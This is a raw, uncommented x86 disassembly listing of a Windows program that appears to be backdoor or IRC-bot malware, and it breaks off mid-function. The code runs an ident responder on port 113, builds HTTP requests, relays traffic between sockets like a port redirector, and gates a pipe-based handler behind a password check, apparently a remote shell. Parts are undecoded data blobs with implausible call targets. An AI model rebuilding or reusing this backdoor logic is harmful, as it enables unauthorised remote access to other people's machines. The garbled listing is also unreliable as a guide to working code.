		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D7D8


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB674
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB63C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB6BC
		call	dword_4CB57C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB624
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E56C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB650
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CB64C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434654
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434610
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB6BC
		push	dword ptr [ebp-4]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB624
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E56C[ecx], eax
		call	dword_4CB534
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB650
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB64C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6B8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346BC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E564[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 2FE8h
		dd 8B024101h, 0C969C44Dh, 234h,	8189C63Bh, 43E574h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 67E89032h, 0EB024100h,	40E890EDh
		dd 500241FBh, 43468068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	dword_4CB6BC
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6A4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB624
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6A8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB5DC


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434744
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E56C[ebx]
		mov	dword_43E564[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E570[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E574[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB63C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_434704
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E56C[eax]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	dword_4CB6BC
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 288097Dh
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E570[esi]
		call	dword_4CB63C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E56C[esi]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43E570[esi]
		call	dword_4CB6BC
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 4701C0E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E56C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB60C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 288097Dh


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB63C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB578
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CB5B8
		push	eax
		push	offset unk_43481C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	near ptr 288097Dh
		nop


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB5DC
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D7D8
		push	dword ptr [esi]
		call	dword_4CB674
		cmp	dword_4CE388, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB674
		push	dword ptr [esi]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 288097Dh
		nop


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347E0
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_4347B4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		call	near ptr 288097Dh
		nop


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434788
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 288097Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB63C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB63C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434848
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_434874
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 9415FF00h, 33004CB5h, 74C63BF6h, 0E468501Dh,	0E8004349h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0FED7E890h
		dd 68570246h, 410CCBh, 50FFC3E8h, 0C0859002h, 0E8902975h
		dd 241F58Bh, 49A06850h,	59E80043h, 59000047h, 7C15FF59h
		dd 0FF004CB5h, 3BE8B475h, 59FFFFA9h, 9EE89057h,	530246FEh
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0B62415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB6A4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43E56Ch, 50E0458Dh
		dd 5015FF53h, 85004CB6h, 17850FC0h, 68000001h, 7FFFFFFFh
		dd 4C15FF53h, 85004CB6h, 3850FC0h, 68000001h, 434964h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB6B8h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CB604h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB6B015h, 858D5000h
		dd 0FFFFFBECh, 43492068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	64888924h
		dd 8D0043E5h, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0EFE89050h, 8B0240F9h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43E574h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 27E89032h, 0EB0240F9h, 0F401E8EDh, 50900241h, 4348E468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 0B815FF08h,	50004CB5h
		dd 0FBEC858Dh, 0AC68FFFFh, 50004348h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB6BC15h, 15FF5300h
		dd 4CB6BCh, 0B57C15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0FCB3E890h, 335B0246h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E56C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_434A44
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_434A44
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2840000h


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2920E00h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_434A10
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 2840000h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 28B09AAh


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6BC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_434AF4
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_434AB4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_434A8C
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
